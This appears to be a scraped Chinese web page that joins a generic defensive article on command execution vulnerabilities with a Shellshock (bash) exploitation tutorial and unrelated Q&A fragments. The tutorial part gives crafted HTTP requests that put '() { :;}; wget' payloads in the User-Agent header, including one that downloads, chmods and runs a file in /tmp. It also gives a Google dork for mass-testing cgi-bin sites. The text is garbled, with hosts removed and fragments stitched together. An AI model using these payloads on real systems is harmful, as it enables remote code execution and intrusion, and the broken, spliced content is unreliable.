系统命令执行漏洞：安全风险的警示与应对策略
一、引言
随着信息技术的飞速发展，计算机系统和应用软件已经成为我们日常生活和工作中不可或缺的一部分。
随着其应用的普及，网络安全问题也日益突出。
其中，系统命令执行漏洞作为一种常见的安全风险，可能导致黑客、恶意软件等对系统和数据的非法访问，甚至造成严重的损失。
本文将详细介绍系统命令执行漏洞的相关知识，分析其安全风险，并提出相应的应对策略。
二、系统命令执行漏洞概述
系统命令执行漏洞是指应用程序或操作系统中的某些功能在执行系统命令时存在的安全漏洞。
攻击者利用这些漏洞，可以在未经授权的情况下执行系统命令，进而实现对系统的控制。
这类漏洞通常出现在应用程序与操作系统交互的过程中，由于开发者在编写代码时未能充分考虑安全因素，导致系统命令可以被滥用。
三、系统命令执行漏洞的安全风险
1. 数据泄露：攻击者通过执行系统命令，可能获取到敏感数据，如用户密码、个人信息等，导致数据泄露。
2. 系统瘫痪：攻击者利用系统命令执行漏洞，可能对所有系统资源进行控制，导致系统崩溃或瘫痪。
3. 恶意软件传播：攻击者可以通过系统命令执行漏洞，在系统中安装恶意软件，进一步传播病毒、木马等，危害更大范围的安全。
4. 权限提升：攻击者利用系统命令执行漏洞，可能获取更高的系统权限，从而进行更深入的攻击。
四、系统命令执行漏洞的应对策略
1. 加强安全防护意识：对于个人和组织而言，提高网络安全意识是预防系统命令执行漏洞的首要任务。应定期进行安全培训，使员工了解网络安全的重要性，并学会识别潜在的安全风险。
2. 定期进行安全审计：对系统和应用程序进行定期的安全审计是发现系统命令执行漏洞的有效途径。通过审计，可以及时发现并修复潜在的安全问题，降低安全风险。
3. 使用安全工具和软件：安装并更新防病毒软件、防火墙等安全工具，可以有效防止恶意软件的入侵。同时，使用安全软件对系统进行监控和扫描，以发现潜在的系统命令执行漏洞。
4. 编写安全的代码：开发者在编写应用程序时，应充分考虑安全因素，遵循安全编码原则。在调用系统命令时，应采取适当的安全措施，如使用最小权限原则、输入验证等，以降低系统命令被滥用的风险。
5. 采用最小权限原则：在配置系统和应用程序时，应遵循最小权限原则，即只给予用户和应用程序完成其任务所需的最小权限。这样可以降低因系统命令执行漏洞导致的损失。
6. 及时修复漏洞：一旦发现系统命令执行漏洞，应立即进行修复。同时，关注安全公告，及时获取最新的安全补丁和更新，以保证系统的安全性。
7. 制定应急响应计划：为了应对可能的攻击，应制定应急响应计划。在发现系统被攻击时，应立即启动应急响应计划，以尽快恢复系统的正常运行。
五、结语
系统命令执行漏洞是一种常见的网络安全风险，可能导致严重的后果。
因此，个人、组织和企业都应重视系统命令执行漏洞的防范工作。
通过提高安全意识、定期审计、使用安全工具和软件、编写安全的代码、采用最小权限原则、及时修复漏洞以及制定应急响应计划等措施，可以有效降低系统命令执行漏洞带来的安全风险。
同时，还需要不断学习和研究网络安全技术，以应对日益严重的网络安全挑战。
应对操作系统安全漏洞的基本方法是什么？(多选)
bash远程命令执行漏洞 怎么修复
从昨天开始，这个从澳大利亚远渡重洋而来的BASH远程命令执行漏洞就沸腾了整个FreeBuf，大家都在谈论，“互联网的心脏又出血了”，可是，亲，到底怎么对网站进行测试？下面这段脚本$ env x=‘() { :;}; echo vulnerablebash -c echo this is a test真的如各路大神们说的这样吗？它与“心脏出血”漏洞不同，“心脏出血”只能借助窃取用户电脑信息，而bash 漏洞允许黑客远程控制电脑，拿到系统最高权限！其方法利用就更简单了——复制/粘贴一行命令代码即可！Bash漏洞为什么能够执行Bash漏洞的原理：BASH除了可以将shell变量导出为环境变量，还可以将shell函数导出为环境变量！当前版本的bash通过以函数名作为环境变量名，以“（）{”开头的字串作为环境变量的值来将函数定义导出为环境变量。
此次爆出的漏洞在于BASH处理这样的“函数环境变量”的时候，并没有以函数结尾“}”为结束，而是一直执行其后的shell命令。
简单地说就是，Bash脚本在解析某些特殊字符串时出现逻辑错误导致可以执行后面的命令。
Bash漏洞与远程执行有啥联系看到上面的解释，很多童鞋都理解成了本地的漏洞，然后很多人又觉得，本地有啥可以利用的，于是就忽略了这个神级漏洞的存在。
我想说的是，这个漏洞，利用热度可以媲美当年的MS08-067，威力虽然弱了点，但远程控制电脑还是可以的。
首先解释一下cgi脚本。
很多网站类似下面的链接：GET后台不仅仅用python、Perl来解释执行并反馈给客户端Response，当然还可以换做bash脚本来解释执行提交上来的GET/POST请求。
所以，理论上，你在HTTP请求中插入一个Bash命令，比如() { :;}; wget如果服务器的Bash解释器具有这个漏洞，那么在解释上面这这句话的时候就会执行wget请求，将一个恶意的文件下载到这个服务器，那为何说要放在HTTP头部呢？比如：GET /cgi-bin/helpcenter/help_?id=20 HTTP/1.1 Host: User-Agent: Mozilla/5.0 (X11; Ubuntu; rv:32.0) Gecko/ Firefox/32.0 Accept: */*Referer:keep-alive这是因为这个漏洞是bash解释器在解释某些特殊的变量时才可以触发的：在于BASH处理以“（）{”开头的“函数环境变量”的时候，并没有以函数结尾“}”为结束，而是一直执行其后的shell命令通过自定义这些参数的值为“函数环境变量”的形式，就可以触发后面的命令，恶意的客户仅需要发送特殊构造的HTTP请求就可以使服务器执行特定的命令（命令的权限和解释HTTP请求的Bash脚本环境相同）。
实际测试中，我的构造的测试请求：GET /cgi-bin/helpcenter/help_?id=20 HTTP/1.1 Host: User-Agent: () { :;}; /usr/bin/wget*/*Referer:keep-alive过程是这样的：我发送GET请求–>目标服务器cgi路径目标服务器解析这个get请求，碰到UserAgent后面的参数，Bash解释器就执行了后面的命令目标服务器wget–>我的我的vps记录下这个访问的IP地址然后查看我的服务器的访问记录，就可以确定目标有没有去访问，如果访问了，那么，很好，它是有漏洞的。
下面是我的VPS接收到的wget请求访问的日志：大神是这样测试漏洞的当然，你也可以这样构造：GET /cgi-bin/helpcenter/help_?id=20 HTTP/1.1 Host: User-Agent: () { :;}; /usr/bin/wget -O /tmp/ ;chmod 777 /tmp/; ./tmp/: */*Referer:keep-alive实际上执行了下面三句：/usr/bin/wget -O /tmp/;chmod 777 /tmp/; ./tmp/你会发现，脚本就执行了，这就是Bash漏洞利用测试的精髓。
当然，你可以利用批量Google搜索：filetype:cgi inurl:cgi-bin site:jp然后批量提交类似的GET请求，你就能做到批量测试了。
测试表明，500个url里有6-8个有bash漏洞
如何发现远程命令执行漏洞
安装另外一个Linux发行版kali Linux；执行如下命令:wget –i 文件名 –debug–header=Range: bytes=0-如果检查结果中出现如下信息，说明有漏洞；4.漏洞修复：从微软下载相应的补丁进行修复；补丁参考链接：
